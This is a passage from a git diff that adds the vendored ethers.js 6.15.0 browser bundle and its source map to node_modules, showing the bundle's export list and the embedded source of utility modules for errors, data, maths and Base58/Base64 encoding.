MaxUint256; + exports.MessagePrefix = MessagePrefix; + exports.MinInt256 = MinInt256; + exports.Mnemonic = Mnemonic; + exports.MulticoinProviderPlugin = MulticoinProviderPlugin; + exports.N = N$1; + exports.NamedFragment = NamedFragment; + exports.Network = Network; + exports.NetworkPlugin = NetworkPlugin; + exports.NonceManager = NonceManager; + exports.ParamType = ParamType; + exports.PocketProvider = PocketProvider; + exports.QuickNodeProvider = QuickNodeProvider; + exports.Result = Result; + exports.Signature = Signature; + exports.SigningKey = SigningKey; + exports.SocketBlockSubscriber = SocketBlockSubscriber; + exports.SocketEventSubscriber = SocketEventSubscriber; + exports.SocketPendingSubscriber = SocketPendingSubscriber; + exports.SocketProvider = SocketProvider; + exports.SocketSubscriber = SocketSubscriber; + exports.StructFragment = StructFragment; + exports.Transaction = Transaction; + exports.TransactionDescription = TransactionDescription; + exports.TransactionReceipt = TransactionReceipt; + exports.TransactionResponse = TransactionResponse; + exports.Typed = Typed; + exports.TypedDataEncoder = TypedDataEncoder; + exports.UndecodedEventLog = UndecodedEventLog; + exports.UnmanagedSubscriber = UnmanagedSubscriber; + exports.Utf8ErrorFuncs = Utf8ErrorFuncs; + exports.VoidSigner = VoidSigner; + exports.Wallet = Wallet; + exports.WebSocketProvider = WebSocketProvider; + exports.WeiPerEther = WeiPerEther; + exports.Wordlist = Wordlist; + exports.WordlistOwl = WordlistOwl; + exports.WordlistOwlA = WordlistOwlA; + exports.ZeroAddress = ZeroAddress; + exports.ZeroHash = ZeroHash; + exports.accessListify = accessListify; + exports.assert = assert; + exports.assertArgument = assertArgument; + exports.assertArgumentCount = assertArgumentCount; + exports.assertNormalize = assertNormalize; + exports.assertPrivate = assertPrivate; + exports.authorizationify = authorizationify; + exports.checkResultErrors = checkResultErrors; + exports.computeAddress = computeAddress; + exports.computeHmac = computeHmac; + exports.concat = concat; + exports.copyRequest = copyRequest; + exports.dataLength = dataLength; + exports.dataSlice = dataSlice; + exports.decodeBase58 = decodeBase58; + exports.decodeBase64 = decodeBase64; + exports.decodeBytes32String = decodeBytes32String; + exports.decodeRlp = decodeRlp; + exports.decryptCrowdsaleJson = decryptCrowdsaleJson; + exports.decryptKeystoreJson = decryptKeystoreJson; + exports.decryptKeystoreJsonSync = decryptKeystoreJsonSync; + exports.defaultPath = defaultPath; + exports.defineProperties = defineProperties; + exports.dnsEncode = dnsEncode; + exports.encodeBase58 = encodeBase58; + exports.encodeBase64 = encodeBase64; + exports.encodeBytes32String = encodeBytes32String; + exports.encodeRlp = encodeRlp; + exports.encryptKeystoreJson = encryptKeystoreJson; + exports.encryptKeystoreJsonSync = encryptKeystoreJsonSync; + exports.ensNormalize = ensNormalize; + exports.ethers = ethers; + exports.formatEther = formatEther; + exports.formatUnits = formatUnits; + exports.fromTwos = fromTwos; + exports.getAccountPath = getAccountPath; + exports.getAddress = getAddress; + exports.getBigInt = getBigInt; + exports.getBytes = getBytes; + exports.getBytesCopy = getBytesCopy; + exports.getCreate2Address = getCreate2Address; + exports.getCreateAddress = getCreateAddress; + exports.getDefaultProvider = getDefaultProvider; + exports.getIcapAddress = getIcapAddress; + exports.getIndexedAccountPath = getIndexedAccountPath; + exports.getNumber = getNumber; + exports.getUint = getUint; + exports.hashAuthorization = hashAuthorization; + exports.hashMessage = hashMessage; + exports.hexlify = hexlify; + exports.id = id; + exports.isAddress = isAddress; + exports.isAddressable = isAddressable; + exports.isBytesLike = isBytesLike; + exports.isCallException = isCallException; + exports.isCrowdsaleJson = isCrowdsaleJson; + exports.isError = isError; + exports.isHexString = isHexString; + exports.isKeystoreJson = isKeystoreJson; + exports.isValidName = isValidName; + exports.keccak256 = keccak256; + exports.lock = lock; + exports.makeError = makeError; + exports.mask = mask; + exports.namehash = namehash; + exports.parseEther = parseEther; + exports.parseUnits = parseUnits$1; + exports.pbkdf2 = pbkdf2; + exports.randomBytes = randomBytes; + exports.recoverAddress = recoverAddress; + exports.resolveAddress = resolveAddress; + exports.resolveProperties = resolveProperties; + exports.ripemd160 = ripemd160; + exports.scrypt = scrypt; + exports.scryptSync = scryptSync; + exports.sha256 = sha256; + exports.sha512 = sha512; + exports.showThrottleMessage = showThrottleMessage; + exports.solidityPacked = solidityPacked; + exports.solidityPackedKeccak256 = solidityPackedKeccak256; + exports.solidityPackedSha256 = solidityPackedSha256; + exports.stripZerosLeft = stripZerosLeft; + exports.toBeArray = toBeArray; + exports.toBeHex = toBeHex; + exports.toBigInt = toBigInt; + exports.toNumber = toNumber; + exports.toQuantity = toQuantity; + exports.toTwos = toTwos; + exports.toUtf8Bytes = toUtf8Bytes; + exports.toUtf8CodePoints = toUtf8CodePoints; + exports.toUtf8String = toUtf8String; + exports.uuidV4 = uuidV4; + exports.verifyAuthorization = verifyAuthorization; + exports.verifyMessage = verifyMessage; + exports.verifyTypedData = verifyTypedData; + exports.version = version; + exports.wordlists = wordlists; + exports.zeroPadBytes = zeroPadBytes; + exports.zeroPadValue = zeroPadValue; + +})); +//# sourceMappingURL=ethers.umd.js.map diff --git a/node_modules/ethers/dist/ethers.umd.js.map b/node_modules/ethers/dist/ethers.umd.js.map new file mode 100644 index 000000000000..a8ec1e55c1ba --- /dev/null +++ b/node_modules/ethers/dist/ethers.umd.js.map @@ -0,0 +1 @@ +{"version":3,"file":"ethers.umd.js","sources":["../lib.esm/_version.js","../lib.esm/utils/properties.js","../lib.esm/utils/errors.js","../lib.esm/utils/data.js","../lib.esm/utils/maths.js","../lib.esm/utils/base58.js","../lib.esm/utils/base64-browser.js","../lib.esm/utils/events.js","../lib.esm/utils/utf8.js","../lib.esm/utils/geturl-browser.js","../lib.esm/utils/fetch.js","../lib.esm/utils/fixednumber.js","../lib.esm/utils/rlp-decode.js","../lib.esm/utils/rlp-encode.js","../lib.esm/utils/units.js","../lib.esm/utils/uuid.js","../lib.esm/abi/coders/abstract-coder.js","../node_modules/@noble/hashes/esm/_assert.js","../node_modules/@noble/hashes/esm/crypto.js","../node_modules/@noble/hashes/esm/utils.js","../node_modules/@noble/hashes/esm/hmac.js","../node_modules/@noble/hashes/esm/pbkdf2.js","../node_modules/@noble/hashes/esm/_sha2.js","../node_modules/@noble/hashes/esm/sha256.js","../node_modules/@noble/hashes/esm/_u64.js","../node_modules/@noble/hashes/esm/sha512.js","../lib.esm/crypto/crypto-browser.js","../lib.esm/crypto/hmac.js","../node_modules/@noble/hashes/esm/sha3.js","../lib.esm/crypto/keccak.js","../node_modules/@noble/hashes/esm/ripemd160.js","../lib.esm/crypto/ripemd160.js","../lib.esm/crypto/pbkdf2.js","../lib.esm/crypto/random.js","../node_modules/@noble/hashes/esm/scrypt.js","../lib.esm/crypto/scrypt.js","../lib.esm/crypto/sha2.js","../node_modules/@noble/curves/esm/abstract/utils.js","../node_modules/@noble/curves/esm/abstract/modular.js","../node_modules/@noble/curves/esm/abstract/curve.js","../node_modules/@noble/curves/esm/abstract/weierstrass.js","../node_modules/@noble/curves/esm/_shortw_utils.js","../node_modules/@noble/curves/esm/secp256k1.js","../lib.esm/constants/addresses.js","../lib.esm/constants/hashes.js","../lib.esm/constants/numbers.js","../lib.esm/constants/strings.js","../lib.esm/crypto/signature.js","../lib.esm/crypto/signing-key.js","../lib.esm/crypto/index.js","../lib.esm/address/address.js","../lib.esm/address/contract-address.js","../lib.esm/address/checks.js","../lib.esm/abi/typed.js","../lib.esm/abi/coders/address.js","../lib.esm/abi/coders/anonymous.js","../lib.esm/abi/coders/array.js","../lib.esm/abi/coders/boolean.js","../lib.esm/abi/coders/bytes.js","../lib.esm/abi/coders/fixed-bytes.js","../lib.esm/abi/coders/null.js","../lib.esm/abi/coders/number.js","../lib.esm/abi/coders/string.js","../lib.esm/abi/coders/tuple.js","../lib.esm/transaction/accesslist.js","../lib.esm/transaction/authorization.js","../lib.esm/transaction/address.js","../lib.esm/transaction/transaction.js","../lib.esm/hash/authorization.js","../lib.esm/hash/id.js","../node_modules/@adraffy/ens-normalize/dist/index.mjs","../lib.esm/hash/namehash.js","../lib.esm/hash/message.js","../lib.esm/hash/solidity.js","../lib.esm/hash/typed-data.js","../lib.esm/abi/fragments.js","../lib.esm/abi/abi-coder.js","../lib.esm/abi/bytes32.js","../lib.esm/abi/interface.js","../lib.esm/providers/provider.js","../lib.esm/contract/wrappers.js","../lib.esm/contract/contract.js","../lib.esm/contract/factory.js","../lib.esm/providers/ens-resolver.js","../lib.esm/providers/format.js","../lib.esm/providers/plugins-network.js","../lib.esm/providers/network.js","../lib.esm/providers/subscriber-polling.js","../lib.esm/providers/abstract-provider.js","../lib.esm/providers/abstract-signer.js","../lib.esm/providers/community.js","../lib.esm/providers/subscriber-filterid.js","../lib.esm/providers/provider-jsonrpc.js","../lib.esm/providers/provider-ankr.js","../lib.esm/providers/provider-alchemy.js","../lib.esm/providers/provider-chainstack.js","../lib.esm/providers/provider-cloudflare.js","../lib.esm/providers/provider-etherscan.js","../lib.esm/providers/ws-browser.js","../lib.esm/providers/provider-socket.js","../lib.esm/providers/provider-websocket.js","../lib.esm/providers/provider-infura.js","../lib.esm/providers/provider-quicknode.js","../lib.esm/providers/provider-fallback.js","../lib.esm/providers/default-provider.js","../lib.esm/providers/signer-noncemanager.js","../lib.esm/providers/provider-browser.js","../lib.esm/providers/provider-blockscout.js","../lib.esm/providers/provider-pocket.js","../lib.esm/providers/provider-ipcsocket-browser.js","../lib.esm/wallet/base-wallet.js","../lib.esm/wordlists/decode-owl.js","../lib.esm/wordlists/wordlist.js","../lib.esm/wordlists/wordlist-owl.js","../lib.esm/wordlists/lang-en.js","../lib.esm/wallet/mnemonic.js","../node_modules/aes-js/lib.esm/aes.js","../node_modules/aes-js/lib.esm/mode.js","../node_modules/aes-js/lib.esm/mode-cbc.js","../node_modules/aes-js/lib.esm/mode-ctr.js","../node_modules/aes-js/lib.esm/padding.js","../lib.esm/wallet/utils.js","../lib.esm/wallet/json-keystore.js","../lib.esm/wallet/hdwallet.js","../lib.esm/wallet/json-crowdsale.js","../lib.esm/wallet/wallet.js","../lib.esm/wordlists/bit-reader.js","../lib.esm/wordlists/decode-owla.js","../lib.esm/wordlists/wordlist-owla.js","../lib.esm/wordlists/wordlists-browser.js","../lib.esm/ethers.js"],"sourcesContent":["/* Do NOT modify this file; see /src.ts/_admin/update-version.ts */\n/**\n * The current version of Ethers.\n */\nexport const version = \"6.15.0\";\n//# sourceMappingURL=_version.js.map","/**\n * Property helper functions.\n *\n * @_subsection api/utils:Properties [about-properties]\n */\nfunction checkType(value, type, name) {\n const types = type.split(\"|\").map(t => t.trim());\n for (let i = 0; i < types.length; i++) {\n switch (type) {\n case \"any\":\n return;\n case \"bigint\":\n case \"boolean\":\n case \"number\":\n case \"string\":\n if (typeof (value) === type) {\n return;\n }\n }\n }\n const error = new Error(`invalid value for type ${type}`);\n error.code = \"INVALID_ARGUMENT\";\n error.argument = `value.${name}`;\n error.value = value;\n throw error;\n}\n/**\n * Resolves to a new object that is a copy of %%value%%, but with all\n * values resolved.\n */\nexport async function resolveProperties(value) {\n const keys = Object.keys(value);\n const results = await Promise.all(keys.map((k) => Promise.resolve(value[k])));\n return results.reduce((accum, v, index) => {\n accum[keys[index]] = v;\n return accum;\n }, {});\n}\n/**\n * Assigns the %%values%% to %%target%% as read-only values.\n *\n * It %%types%% is specified, the values are checked.\n */\nexport function defineProperties(target, values, types) {\n for (let key in values) {\n let value = values[key];\n const type = (types ? types[key] : null);\n if (type) {\n checkType(value, type, key);\n }\n Object.defineProperty(target, key, { enumerable: true, value, writable: false });\n }\n}\n//# sourceMappingURL=properties.js.map","/**\n * All errors in ethers include properties to ensure they are both\n * human-readable (i.e. ``.message``) and machine-readable (i.e. ``.code``).\n *\n * The [[isError]] function can be used to check the error ``code`` and\n * provide a type guard for the properties present on that error interface.\n *\n * @_section: api/utils/errors:Errors [about-errors]\n */\nimport { version } from \"../_version.js\";\nimport { defineProperties } from \"./properties.js\";\nfunction stringify(value, seen) {\n if (value == null) {\n return \"null\";\n }\n if (seen == null) {\n seen = new Set();\n }\n if (typeof (value) === \"object\") {\n if (seen.has(value)) {\n return \"[Circular]\";\n }\n seen.add(value);\n }\n if (Array.isArray(value)) {\n return \"[ \" + (value.map((v) => stringify(v, seen))).join(\", \") + \" ]\";\n }\n if (value instanceof Uint8Array) {\n const HEX = \"0123456789abcdef\";\n let result = \"0x\";\n for (let i = 0; i < value.length; i++) {\n result += HEX[value[i] >> 4];\n result += HEX[value[i] & 0xf];\n }\n return result;\n }\n if (typeof (value) === \"object\" && typeof (value.toJSON) === \"function\") {\n return stringify(value.toJSON(), seen);\n }\n switch (typeof (value)) {\n case \"boolean\":\n case \"number\":\n case \"symbol\":\n return value.toString();\n case \"bigint\":\n return BigInt(value).toString();\n case \"string\":\n return JSON.stringify(value);\n case \"object\": {\n const keys = Object.keys(value);\n keys.sort();\n return \"{ \" + keys.map((k) => `${stringify(k, seen)}: ${stringify(value[k], seen)}`).join(\", \") + \" }\";\n }\n }\n return `[ COULD NOT SERIALIZE ]`;\n}\n/**\n * Returns true if the %%error%% matches an error thrown by ethers\n * that matches the error %%code%%.\n *\n * In TypeScript environments, this can be used to check that %%error%%\n * matches an EthersError type, which means the expected properties will\n * be set.\n *\n * @See [ErrorCodes](api:ErrorCode)\n * @example\n * try {\n * // code....\n * } catch (e) {\n * if (isError(e, \"CALL_EXCEPTION\")) {\n * // The Type Guard has validated this object\n * console.log(e.data);\n * }\n * }\n */\nexport function isError(error, code) {\n return (error && error.code === code);\n}\n/**\n * Returns true if %%error%% is a [[CallExceptionError].\n */\nexport function isCallException(error) {\n return isError(error, \"CALL_EXCEPTION\");\n}\n/**\n * Returns a new Error configured to the format ethers emits errors, with\n * the %%message%%, [[api:ErrorCode]] %%code%% and additional properties\n * for the corresponding EthersError.\n *\n * Each error in ethers includes the version of ethers, a\n * machine-readable [[ErrorCode]], and depending on %%code%%, additional\n * required properties. The error message will also include the %%message%%,\n * ethers version, %%code%% and all additional properties, serialized.\n */\nexport function makeError(message, code, info) {\n let shortMessage = message;\n {\n const details = [];\n if (info) {\n if (\"message\" in info || \"code\" in info || \"name\" in info) {\n throw new Error(`value will overwrite populated values: ${stringify(info)}`);\n }\n for (const key in info) {\n if (key === \"shortMessage\") {\n continue;\n }\n const value = (info[key]);\n // try {\n details.push(key + \"=\" + stringify(value));\n // } catch (error: any) {\n // console.log(\"MMM\", error.message);\n // details.push(key + \"=[could not serialize object]\");\n // }\n }\n }\n details.push(`code=${code}`);\n details.push(`version=${version}`);\n if (details.length) {\n message += \" (\" + details.join(\", \") + \")\";\n }\n }\n let error;\n switch (code) {\n case \"INVALID_ARGUMENT\":\n error = new TypeError(message);\n break;\n case \"NUMERIC_FAULT\":\n case \"BUFFER_OVERRUN\":\n error = new RangeError(message);\n break;\n default:\n error = new Error(message);\n }\n defineProperties(error, { code });\n if (info) {\n Object.assign(error, info);\n }\n if (error.shortMessage == null) {\n defineProperties(error, { shortMessage });\n }\n return error;\n}\n/**\n * Throws an EthersError with %%message%%, %%code%% and additional error\n * %%info%% when %%check%% is falsish..\n *\n * @see [[api:makeError]]\n */\nexport function assert(check, message, code, info) {\n if (!check) {\n throw makeError(message, code, info);\n }\n}\n/**\n * A simple helper to simply ensuring provided arguments match expected\n * constraints, throwing if not.\n *\n * In TypeScript environments, the %%check%% has been asserted true, so\n * any further code does not need additional compile-time checks.\n */\nexport function assertArgument(check, message, name, value) {\n assert(check, message, \"INVALID_ARGUMENT\", { argument: name, value: value });\n}\nexport function assertArgumentCount(count, expectedCount, message) {\n if (message == null) {\n message = \"\";\n }\n if (message) {\n message = \": \" + message;\n }\n assert(count >= expectedCount, \"missing argument\" + message, \"MISSING_ARGUMENT\", {\n count: count,\n expectedCount: expectedCount\n });\n assert(count <= expectedCount, \"too many arguments\" + message, \"UNEXPECTED_ARGUMENT\", {\n count: count,\n expectedCount: expectedCount\n });\n}\nconst _normalizeForms = [\"NFD\", \"NFC\", \"NFKD\", \"NFKC\"].reduce((accum, form) => {\n try {\n // General test for normalize\n /* c8 ignore start */\n if (\"test\".normalize(form) !== \"test\") {\n throw new Error(\"bad\");\n }\n ;\n /* c8 ignore stop */\n if (form === \"NFD\") {\n const check = String.fromCharCode(0xe9).normalize(\"NFD\");\n const expected = String.fromCharCode(0x65, 0x0301);\n /* c8 ignore start */\n if (check !== expected) {\n throw new Error(\"broken\");\n }\n /* c8 ignore stop */\n }\n accum.push(form);\n }\n catch (error) { }\n return accum;\n}, []);\n/**\n * Throws if the normalization %%form%% is not supported.\n */\nexport function assertNormalize(form) {\n assert(_normalizeForms.indexOf(form) >= 0, \"platform missing String.prototype.normalize\", \"UNSUPPORTED_OPERATION\", {\n operation: \"String.prototype.normalize\", info: { form }\n });\n}\n/**\n * Many classes use file-scoped values to guard the constructor,\n * making it effectively private. This facilitates that pattern\n * by ensuring the %%givenGaurd%% matches the file-scoped %%guard%%,\n * throwing if not, indicating the %%className%% if provided.\n */\nexport function assertPrivate(givenGuard, guard, className) {\n if (className == null) {\n className = \"\";\n }\n if (givenGuard !== guard) {\n let method = className, operation = \"new\";\n if (className) {\n method += \".\";\n operation += \" \" + className;\n }\n assert(false, `private constructor; use ${method}from* methods`, \"UNSUPPORTED_OPERATION\", {\n operation\n });\n }\n}\n//# sourceMappingURL=errors.js.map","/**\n * Some data helpers.\n *\n *\n * @_subsection api/utils:Data Helpers [about-data]\n */\nimport { assert, assertArgument } from \"./errors.js\";\nfunction _getBytes(value, name, copy) {\n if (value instanceof Uint8Array) {\n if (copy) {\n return new Uint8Array(value);\n }\n return value;\n }\n if (typeof (value) === \"string\" && value.match(/^0x(?:[0-9a-f][0-9a-f])*$/i)) {\n const result = new Uint8Array((value.length - 2) / 2);\n let offset = 2;\n for (let i = 0; i < result.length; i++) {\n result[i] = parseInt(value.substring(offset, offset + 2), 16);\n offset += 2;\n }\n return result;\n }\n assertArgument(false, \"invalid BytesLike value\", name || \"value\", value);\n}\n/**\n * Get a typed Uint8Array for %%value%%. If already a Uint8Array\n * the original %%value%% is returned; if a copy is required use\n * [[getBytesCopy]].\n *\n * @see: getBytesCopy\n */\nexport function getBytes(value, name) {\n return _getBytes(value, name, false);\n}\n/**\n * Get a typed Uint8Array for %%value%%, creating a copy if necessary\n * to prevent any modifications of the returned value from being\n * reflected elsewhere.\n *\n * @see: getBytes\n */\nexport function getBytesCopy(value, name) {\n return _getBytes(value, name, true);\n}\n/**\n * Returns true if %%value%% is a valid [[HexString]].\n *\n * If %%length%% is ``true`` or a //number//, it also checks that\n * %%value%% is a valid [[DataHexString]] of %%length%% (if a //number//)\n * bytes of data (e.g. ``0x1234`` is 2 bytes).\n */\nexport function isHexString(value, length) {\n if (typeof (value) !== \"string\" || !value.match(/^0x[0-9A-Fa-f]*$/)) {\n return false;\n }\n if (typeof (length) === \"number\" && value.length !== 2 + 2 * length) {\n return false;\n }\n if (length === true && (value.length % 2) !== 0) {\n return false;\n }\n return true;\n}\n/**\n * Returns true if %%value%% is a valid representation of arbitrary\n * data (i.e. a valid [[DataHexString]] or a Uint8Array).\n */\nexport function isBytesLike(value) {\n return (isHexString(value, true) || (value instanceof Uint8Array));\n}\nconst HexCharacters = \"0123456789abcdef\";\n/**\n * Returns a [[DataHexString]] representation of %%data%%.\n */\nexport function hexlify(data) {\n const bytes = getBytes(data);\n let result = \"0x\";\n for (let i = 0; i < bytes.length; i++) {\n const v = bytes[i];\n result += HexCharacters[(v & 0xf0) >> 4] + HexCharacters[v & 0x0f];\n }\n return result;\n}\n/**\n * Returns a [[DataHexString]] by concatenating all values\n * within %%data%%.\n */\nexport function concat(datas) {\n return \"0x\" + datas.map((d) => hexlify(d).substring(2)).join(\"\");\n}\n/**\n * Returns the length of %%data%%, in bytes.\n */\nexport function dataLength(data) {\n if (isHexString(data, true)) {\n return (data.length - 2) / 2;\n }\n return getBytes(data).length;\n}\n/**\n * Returns a [[DataHexString]] by slicing %%data%% from the %%start%%\n * offset to the %%end%% offset.\n *\n * By default %%start%% is 0 and %%end%% is the length of %%data%%.\n */\nexport function dataSlice(data, start, end) {\n const bytes = getBytes(data);\n if (end != null && end > bytes.length) {\n assert(false, \"cannot slice beyond data bounds\", \"BUFFER_OVERRUN\", {\n buffer: bytes, length: bytes.length, offset: end\n });\n }\n return hexlify(bytes.slice((start == null) ? 0 : start, (end == null) ? bytes.length : end));\n}\n/**\n * Return the [[DataHexString]] result by stripping all **leading**\n ** zero bytes from %%data%%.\n */\nexport function stripZerosLeft(data) {\n let bytes = hexlify(data).substring(2);\n while (bytes.startsWith(\"00\")) {\n bytes = bytes.substring(2);\n }\n return \"0x\" + bytes;\n}\nfunction zeroPad(data, length, left) {\n const bytes = getBytes(data);\n assert(length >= bytes.length, \"padding exceeds data length\", \"BUFFER_OVERRUN\", {\n buffer: new Uint8Array(bytes),\n length: length,\n offset: length + 1\n });\n const result = new Uint8Array(length);\n result.fill(0);\n if (left) {\n result.set(bytes, length - bytes.length);\n }\n else {\n result.set(bytes, 0);\n }\n return hexlify(result);\n}\n/**\n * Return the [[DataHexString]] of %%data%% padded on the **left**\n * to %%length%% bytes.\n *\n * If %%data%% already exceeds %%length%%, a [[BufferOverrunError]] is\n * thrown.\n *\n * This pads data the same as **values** are in Solidity\n * (e.g. ``uint128``).\n */\nexport function zeroPadValue(data, length) {\n return zeroPad(data, length, true);\n}\n/**\n * Return the [[DataHexString]] of %%data%% padded on the **right**\n * to %%length%% bytes.\n *\n * If %%data%% already exceeds %%length%%, a [[BufferOverrunError]] is\n * thrown.\n *\n * This pads data the same as **bytes** are in Solidity\n * (e.g. ``bytes16``).\n */\nexport function zeroPadBytes(data, length) {\n return zeroPad(data, length, false);\n}\n//# sourceMappingURL=data.js.map","/**\n * Some mathematic operations.\n *\n * @_subsection: api/utils:Math Helpers [about-maths]\n */\nimport { hexlify, isBytesLike } from \"./data.js\";\nimport { assert, assertArgument } from \"./errors.js\";\nconst BN_0 = BigInt(0);\nconst BN_1 = BigInt(1);\n//const BN_Max256 = (BN_1 << BigInt(256)) - BN_1;\n// IEEE 754 support 53-bits of mantissa\nconst maxValue = 0x1fffffffffffff;\n/**\n * Convert %%value%% from a twos-compliment representation of %%width%%\n * bits to its value.\n *\n * If the highest bit is ``1``, the result will be negative.\n */\nexport function fromTwos(_value, _width) {\n const value = getUint(_value, \"value\");\n const width = BigInt(getNumber(_width, \"width\"));\n assert((value >> width) === BN_0, \"overflow\", \"NUMERIC_FAULT\", {\n operation: \"fromTwos\", fault: \"overflow\", value: _value\n });\n // Top bit set; treat as a negative value\n if (value >> (width - BN_1)) {\n const mask = (BN_1 << width) - BN_1;\n return -(((~value) & mask) + BN_1);\n }\n return value;\n}\n/**\n * Convert %%value%% to a twos-compliment representation of\n * %%width%% bits.\n *\n * The result will always be positive.\n */\nexport function toTwos(_value, _width) {\n let value = getBigInt(_value, \"value\");\n const width = BigInt(getNumber(_width, \"width\"));\n const limit = (BN_1 << (width - BN_1));\n if (value < BN_0) {\n value = -value;\n assert(value <= limit, \"too low\", \"NUMERIC_FAULT\", {\n operation: \"toTwos\", fault: \"overflow\", value: _value\n });\n const mask = (BN_1 << width) - BN_1;\n return ((~value) & mask) + BN_1;\n }\n else {\n assert(value < limit, \"too high\", \"NUMERIC_FAULT\", {\n operation: \"toTwos\", fault: \"overflow\", value: _value\n });\n }\n return value;\n}\n/**\n * Mask %%value%% with a bitmask of %%bits%% ones.\n */\nexport function mask(_value, _bits) {\n const value = getUint(_value, \"value\");\n const bits = BigInt(getNumber(_bits, \"bits\"));\n return value & ((BN_1 << bits) - BN_1);\n}\n/**\n * Gets a BigInt from %%value%%. If it is an invalid value for\n * a BigInt, then an ArgumentError will be thrown for %%name%%.\n */\nexport function getBigInt(value, name) {\n switch (typeof (value)) {\n case \"bigint\": return value;\n case \"number\":\n assertArgument(Number.isInteger(value), \"underflow\", name || \"value\", value);\n assertArgument(value >= -maxValue && value <= maxValue, \"overflow\", name || \"value\", value);\n return BigInt(value);\n case \"string\":\n try {\n if (value === \"\") {\n throw new Error(\"empty string\");\n }\n if (value[0] === \"-\" && value[1] !== \"-\") {\n return -BigInt(value.substring(1));\n }\n return BigInt(value);\n }\n catch (e) {\n assertArgument(false, `invalid BigNumberish string: ${e.message}`, name || \"value\", value);\n }\n }\n assertArgument(false, \"invalid BigNumberish value\", name || \"value\", value);\n}\n/**\n * Returns %%value%% as a bigint, validating it is valid as a bigint\n * value and that it is positive.\n */\nexport function getUint(value, name) {\n const result = getBigInt(value, name);\n assert(result >= BN_0, \"unsigned value cannot be negative\", \"NUMERIC_FAULT\", {\n fault: \"overflow\", operation: \"getUint\", value\n });\n return result;\n}\nconst Nibbles = \"0123456789abcdef\";\n/*\n * Converts %%value%% to a BigInt. If %%value%% is a Uint8Array, it\n * is treated as Big Endian data.\n */\nexport function toBigInt(value) {\n if (value instanceof Uint8Array) {\n let result = \"0x0\";\n for (const v of value) {\n result += Nibbles[v >> 4];\n result += Nibbles[v & 0x0f];\n }\n return BigInt(result);\n }\n return getBigInt(value);\n}\n/**\n * Gets a //number// from %%value%%. If it is an invalid value for\n * a //number//, then an ArgumentError will be thrown for %%name%%.\n */\nexport function getNumber(value, name) {\n switch (typeof (value)) {\n case \"bigint\":\n assertArgument(value >= -maxValue && value <= maxValue, \"overflow\", name || \"value\", value);\n return Number(value);\n case \"number\":\n assertArgument(Number.isInteger(value), \"underflow\", name || \"value\", value);\n assertArgument(value >= -maxValue && value <= maxValue, \"overflow\", name || \"value\", value);\n return value;\n case \"string\":\n try {\n if (value === \"\") {\n throw new Error(\"empty string\");\n }\n return getNumber(BigInt(value), name);\n }\n catch (e) {\n assertArgument(false, `invalid numeric string: ${e.message}`, name || \"value\", value);\n }\n }\n assertArgument(false, \"invalid numeric value\", name || \"value\", value);\n}\n/**\n * Converts %%value%% to a number. If %%value%% is a Uint8Array, it\n * is treated as Big Endian data. Throws if the value is not safe.\n */\nexport function toNumber(value) {\n return getNumber(toBigInt(value));\n}\n/**\n * Converts %%value%% to a Big Endian hexstring, optionally padded to\n * %%width%% bytes.\n */\nexport function toBeHex(_value, _width) {\n const value = getUint(_value, \"value\");\n let result = value.toString(16);\n if (_width == null) {\n // Ensure the value is of even length\n if (result.length % 2) {\n result = \"0\" + result;\n }\n }\n else {\n const width = getNumber(_width, \"width\");\n assert(width * 2 >= result.length, `value exceeds width (${width} bytes)`, \"NUMERIC_FAULT\", {\n operation: \"toBeHex\",\n fault: \"overflow\",\n value: _value\n });\n // Pad the value to the required width\n while (result.length < (width * 2)) {\n result = \"0\" + result;\n }\n }\n return \"0x\" + result;\n}\n/**\n * Converts %%value%% to a Big Endian Uint8Array.\n */\nexport function toBeArray(_value) {\n const value = getUint(_value, \"value\");\n if (value === BN_0) {\n return new Uint8Array([]);\n }\n let hex = value.toString(16);\n if (hex.length % 2) {\n hex = \"0\" + hex;\n }\n const result = new Uint8Array(hex.length / 2);\n for (let i = 0; i < result.length; i++) {\n const offset = i * 2;\n result[i] = parseInt(hex.substring(offset, offset + 2), 16);\n }\n return result;\n}\n/**\n * Returns a [[HexString]] for %%value%% safe to use as a //Quantity//.\n *\n * A //Quantity// does not have and leading 0 values unless the value is\n * the literal value `0x0`. This is most commonly used for JSSON-RPC\n * numeric values.\n */\nexport function toQuantity(value) {\n let result = hexlify(isBytesLike(value) ? value : toBeArray(value)).substring(2);\n while (result.startsWith(\"0\")) {\n result = result.substring(1);\n }\n if (result === \"\") {\n result = \"0\";\n }\n return \"0x\" + result;\n}\n//# sourceMappingURL=maths.js.map","/**\n * The [Base58 Encoding](link-base58) scheme allows a **numeric** value\n * to be encoded as a compact string using a radix of 58 using only\n * alpha-numeric characters. Confusingly similar characters are omitted\n * (i.e. ``\"l0O\"``).\n *\n * Note that Base58 encodes a **numeric** value, not arbitrary bytes,\n * since any zero-bytes on the left would get removed. To mitigate this\n * issue most schemes that use Base58 choose specific high-order values\n * to ensure non-zero prefixes.\n *\n * @_subsection: api/utils:Base58 Encoding [about-base58]\n */\nimport { getBytes } from \"./data.js\";\nimport { assertArgument } from \"./errors.js\";\nimport { toBigInt } from \"./maths.js\";\nconst Alphabet = \"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz\";\nlet Lookup = null;\nfunction getAlpha(letter) {\n if (Lookup == null) {\n Lookup = {};\n for (let i = 0; i < Alphabet.length; i++) {\n Lookup[Alphabet[i]] = BigInt(i);\n }\n }\n const result = Lookup[letter];\n assertArgument(result != null, `invalid base58 value`, \"letter\", letter);\n return result;\n}\nconst BN_0 = BigInt(0);\nconst BN_58 = BigInt(58);\n/**\n * Encode %%value%% as a Base58-encoded string.\n */\nexport function encodeBase58(_value) {\n const bytes = getBytes(_value);\n let value = toBigInt(bytes);\n let result = \"\";\n while (value) {\n result = Alphabet[Number(value % BN_58)] + result;\n value /= BN_58;\n }\n // Account for leading padding zeros\n for (let i = 0; i < bytes.length; i++) {\n if (bytes[i]) {\n break;\n }\n result = Alphabet[0] + result;\n }\n return result;\n}\n/**\n * Decode the Base58-encoded %%value%%.\n */\nexport function decodeBase58(value) {\n let result = BN_0;\n for (let i = 0; i < value.length; i++) {\n result *= BN_58;\n result += getAlpha(value[i]);\n }\n return result;\n}\n//# sourceMappingURL=base58.js.map","// utils/base64-browser\nimport { getBytes } from \"./data.js\";\nexport function decodeBase64(textData) {\n textData = atob(textData);\n const data = new Uint8Array(textData.length);\n for (let i = 0; i < textData.length; i++) {\n data[i] = textData.charCodeAt(i);\n }\n return getBytes(data);\n}\nexport function encodeBase64(_data) {\n const data = getBytes(_data);\n let textData = \"\";\n for (let i = 0; i < data.length; i++) {\n textData += String.fromCharCode(data[i]);\n }\n return 